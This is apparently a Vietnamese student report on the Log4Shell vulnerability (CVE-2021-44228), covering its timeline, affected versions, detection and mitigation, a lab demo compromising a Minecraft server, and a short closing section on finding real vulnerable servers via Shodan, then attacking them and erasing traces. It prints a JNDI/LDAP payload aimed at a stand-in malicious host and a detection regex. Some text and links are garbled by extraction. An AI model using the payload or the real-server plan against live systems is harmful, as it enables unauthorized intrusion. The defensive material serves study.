Bài báo cáo: TÌM HIỂU VỀ LỖ HỔNG LOG4SHELL

HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG
KHOA CƠNG NGHỆ THÔNG TIN I

Học phần: Mật mã học nâng cao
Bài báo cáo:

TÌM HIỂU VỀ LỖ HỔNG LOG4SHELL
Giảng viên hướng dẫn:

TS. Đỗ Xuân Chợ

Sinh viên thực hiện:

Nhóm 10

Phạm Trường Giang
Đỗ Quang Huy

B18DCAT063
B18DCAT106


Hà Nội - 2022

MỤC LỤC
How it started…

1

What is Log4j?

1

What is the Log4Shell vulnerability?

5

1. Log4Shell Overview

5

2. Log4Shell – Timeline

6

3. CVE-2021-44228

7

4. CVE-2021-45046

8

5. The Log4j JNDI Attack and how to prevent it

9

6. Why is it bad?

9

How to identify vulnerable software?

10

How to patch/mitigate?

11

How to monitor/detect intrusion attempts?

12

Known bad advice

14

Attack Demo

14

Demo Attack Real Server (Not available)

19


How it started…

What is Log4j?
-

20 years old, initial release on January 8, 2001

-

Part of Apache Logging Services

-

Project Apache Software Foundation

-

Java-based logging framework

-

Abstraction layer for logging in Java programs

-

Making it easy for developers to implement fast and reliable application logging.


-

Features
● Default and custom log levels
● Simple configuration syntax
● Fast & reliable with asynchronous loggers
● API

● Support for multiple formats, databases, log management systems

Log4j Example Code
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class log4jExample{
/* Get actual class name to be printed on */
static Logger log =
Logger.getLogger(log4jExample.class.getName());
public static void main(String[] args)throws
IOException,SQLException {
log.debug("Hello this is a debug message");
log.info("Hello this is an info message");
}
}

Keyword:
Log4j

The vulnerable Java library

JNDILookup

The vulnerable part of Log4j

CVE-2021-44228, or Logjam

The vulnerability

Log4Shell

The exploit developed to attack this
vulnerability


Some things to know
-

Log4j is a very common software library for Java applications.

-

Log4j is NOT a logging platform or a SIEM.

-

JNDI (Java Naming and Directory Interface): Provides naming and directory
funtionality to Java applications. JNDI is a JAVA-internal API or SPI (Serice
Provider Interface)

-

LDAP is the lightweight version of the directory protocol. Its expanded version is
Lightweight Directory Access Protocol. It’s a part of x.500 network standards.
basically, it’s an open-source, vendor-neutral, industry-standard application
protocol used to access and maintain distributed directory services over the
network. It stores users, passwords, profile information, computer objects, and
more, and shares all the information with other infrastructure and application

entities over the network.

-

e.g. methods to query information based on names like LDAP, DNS, NIS,
CORBA etc.


Exploiting example:
${JNDI:ldap[:]//malicious.xyz/x}
${JNDI:[service]://[host].[port]/[path]}

PoC code is a term used to describe a code that was developed to demonstrate
security flaws in software or networks during a PoC exploit. IT departments use it to
simulate attacks to identify vulnerabilities and patch them. PoC code can also be used to
determine a threat level.


What is the Log4Shell vulnerability?
1. Log4Shell Overview


2. Log4Shell – Timeline
-

24 November 2021
● Vulnerability reported by Chen Zhaojun of Alibaba
● RCE using JNDI message lookups

-

26 November 2021
● CVE-2021-44228 first reported

-

1st December 04:36 UTC 2021
● First exploitations observed
● By Cloudflare & Cisco

-

9th December 14:25 UTC 2021
● First tweets by @P0rZ9 including PoC exploit on Github
● LunaSec blog post

-

10th December 2021
● Active scanning and exploitation observed in Belgium in Belgium, incl.
obfuscation
● Log4j 1.x vulnerable through JMSAppender
● CVE-2021-4104

-

11th December 2021
● Apache releases first patch: v2.15.0
● Minecraft under active exploitation

-

13th December 2021
● New DoS vulnerability found with non-default configurations

-

14-15th December 2021
● CVE-2021-45046 released
● New Log4j versions
o Java 7: v2.12.2
o Java 8+: v2.16.0

3. CVE-2021-44228


● CVSSv3 score: 10/10 (Severity: critical)
● Remote Code Execution (RCE) vulnerability
● PoC-Code is available
● Widely used component in commercial and open-source application
● Released with exploit code on Thursday 9 December 2021
● Apache Log4j is a widely used logging library in Java
● CVE-2021-44228 allows for remote code execution (RCE)
● Low attack complexity, no privileges required, complete compromise → CVSS
10
● Attack succeeds if strings with JNDI lookups ${jndi:…} are logged by apps
depending on vulnerable versions of Log4j (2.0-beta9 to 2.14.1)
● Configuration settings can limit exposure and increase complexity (but not
mitigate completely)
● Three other vulnerabilities have been found afterwards (CVE-2021-45046,

45105 and 44832)
● Latest non-vulnerable release is 2.17.1
-

Affected software:
● Apache Log4j
o >= v2 2.0-beta9 AND <= v2.12.1
o >= 2.13.0 AND < 2.15.0
o 2.15.0-rc1 pot. still inclued a bypass an implemented fix
o Log4J 1.x with specific configs
● Including ALL software using Log4J as a logging framework

-

What is affected?
● Message lookup substitution feature using JNDI
● Enabled by default
● No URL sanitization
● Any kind of request is fully processed, even obfuscated or encoded (e.g.,
Base64)


● Log4J reaches out to external server
-

Risks
● Successful exploitation attempt => unauthenticated attacker can remotely
execute arbitrary code.
● Actors actively scanning & exploiting in the wild
o Installing coin miners or Cobalt Strike

o Exfiltrating data from compromised systems
o HAFNIUM (China state-sponsored)
▪

Attack virtualization infrastructure

o PHOSPHORUS (Iran)
▪

Deploy ransomware

o New Khonsari ransomware family + Orcus RAT
o Other state actors experimenting: China, Iran, North Korea, Turkey
o Initial Access Brokers (Windows / Linux)
o Botnets: Mirai, Tsunami (Muhstik), Kinsing, Elknot (BillGates), m8220,
SiteLoader, xmrig miner,
4. CVE-2021-45046
-

CVSSv3 score: 3.7/10

-

Denial Of Service (DOS) attack in non-default configurations

-

Found and released on 13 December 2021

-

When logging configuration uses non-default Pattern layout:
● With Context Lookup (e.g., $${ctx:loginId})
● OR Threat Context Map (MDC) pattern (e.g., %X, %mdc, or %MDC)

-

Affected software:
● Java 7: < v2.12.2
● Java 8+: < v2.16.0


5. The Log4j JNDI Attack and how to prevent it

6. Why is it bad?
Most widely-publicized exploits have one or two dangerous attributes
Log4Shell has five.

Useful
Easy

Remote Code Excecution is very

This exploit is useful for a huge

flexible

variety of criminal goals

CVE-2021-44228 is simple to

Unsophiscated attacks are

exploit

already underway providing


“cover file” for stealthier
adversaries
Persistent

Common

Flexible

Log4j is often deeply embedded in

More dependancies means more

applications

testing before a patch can be
applied safely

The Log4j library is everywhere,

If something is difficult to find

and often hard to find

it becomes difficult to fix

Log4j accepts input from a very
wide variety of sources

The vulnerability can be
triggered in a huge variety of
ways

How to identify vulnerable software?
-

Software lists
● />● />● />● />
-

Scan internally with scripts / commands
● Use your own DNS server
● Check which servers are doing a DNS lookup query after executing
/>
-

Scan your own software project directories with Log4shell from LunaSec
● ,
/>● Scans for specific hashes and packages in your Java projects
● Other languages like Scala, Groovy, or Clojure can also be impacted
● Similar tool: />

-

Scan your systems for these known vulnerable hashes:
/>
-

NCSC-UK: A file system search for log4j. Or checking dependency/package
manager:

find / -type f -print0 |xargs -n1 -0 zipgrep -i log4j2
2>/dev/null
dpkg -l | grep log4j

How to patch/mitigate?
Patch
-

All the software/appliances identified by your vendor with your vendor’s
recommendations/patches
● Check section How to identify vulnerable software from the 4 lists.

-

Log4J libraries you use in your software to:
● Java 7: v2.12.2
● Java 8+: v2.16.0

Mitigate
-

To mitigate vulnerabilities, users should switch log4j2.formatMsgNoLookupsto to

true by:
● Passing "-Dlog4j2.formatMsgNoLookups=true“ as an argument when invoking
Java.
● Set environment variable
o LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ...
o – JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

-

Remove the JndiLookup class from the classpath:


zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class

-

Check with your security vendors how they can mitigate this attack.
● E.g.: F5, Microsoft, ESET, etc… have come out with mitigations using their
security systems.

-

Nginx LUA script: />
How to monitor/detect intrusion attempts?
-

Scan local log files with Log4Shell Detector (Python):
/>
-

Manually search your log files with Grep / Zgrep commands:
● />● Has commands for obfuscated variants too

-

Find vulnerable software on Windows

gci 'C:\' -rec -force -include *.jar -ea 0 | foreach
{select-string "JndiLookup.class" $_} | select
-exp Path

-

Use YARA rules:
/>1_44228.yar

-

Implement known IOCs in your detection/protection systems

-

General detection regex


\${(\${(.*?:.*?:.*?:-)('"`)*(?1)}*[jndi:lapsrm]('"`)*}*){9,
11}

-

Network-based detection
● Diverto Nmap NSE scripts to check against log4shell:
/>
-

NCC Group Log4Shell: Reconnaissance and post exploitation network detection:
/>oitation-network-detection/

-

Snort and Suricata rules
● These are ET Open free community detections to alert on current exploit
activity.
o SID range 2034647-2034652:
/>
-

Host based detection
● Florian Roth Sigma rule to detect an exploitation attempt against Log4j RCE
vulnerability fields:
/>28_log4j_fields.yml
● Florian Roth Sigma rule to Detect an exploitation attempt against Log4j RCE
vulnerability:
/>28_log4j.yml
● Powershell script to detect Log4Shell:
/>a1adc6ec326ed/Get-Log4shellVuln.ps1
● Powershell script to perform a scan to see if it's vulnerable:
/>

● NCCgroup Version hashes (MD5, SHA1 and SHA256) for Log4j2 versions:
/>1-44228
● Huntress Online Log4Shell Vulnerability Tester:

Known bad advice
-

Updating Java is insufficient

-

A Web Application Firewall (WAF) will help mitigate in combination with other
mitigation and detection techniques
● A WAF can not entirely mitigate Log4Shell
● Cat and mouse game

-

Updating the log statement format with %m{nolookups} is not advisable

Attack Demo
Kịch bản: người chơi game biết rằng máy chủ Minecraft này đang host game bị lỗ
hổng log4j và muốn tấn công chiếm quyền điều khiển của sever này . Vì vậy anh ta đã
thực hiện với mơ hình như dưới đây

Demo bao gồm 3 máy tính với mơ hình như trên


-

Vulnerable target là máy tính win 10 host game

-

Máy tính gửi request chính là máy cá nhân có sử dụng win 10 và cài đặt game để
chơi game do máy vuln target host đó

-

Và nơi nhận http request từ máy nạn nhân sử dụng simpleHTTPsever là máy
kaliLinux .

Luồng thực thi khi mã thực hiện như sau:

Quá trình thực hiện như trên hình theo từng bước như trên
-

Sever host (bị lỗ hổng log4shell)


-

Hacker gửi http request tới máy chủ


-

Máy chủ Gửi LDAP query về lại web và web gửi lại thông tin trả về và thông báo
rằng máy chủ đã gửi đi thông tin cần

-

Kết quả là máy chủ đã thực thi class Log4jRCE


Demo Attack Real Server (Not available)
Bước 1: Rà quét sử dụng shodan.io
Search với từ khóa như Minecraft 1.8.9 , 1.16. , ..
Hoặc Httpd Apache , log4j , ..
Hoặc jsp Java severlet , ..


Bước 2, 3, 4: Tấn công – Khai thác – Xóa dấu vết .
Bước kết nối thì rất đơn giản khi có địa chỉ ip rồi


Tấn cơng và khai thác thì có thể làm giống với demo minecraft phía trên.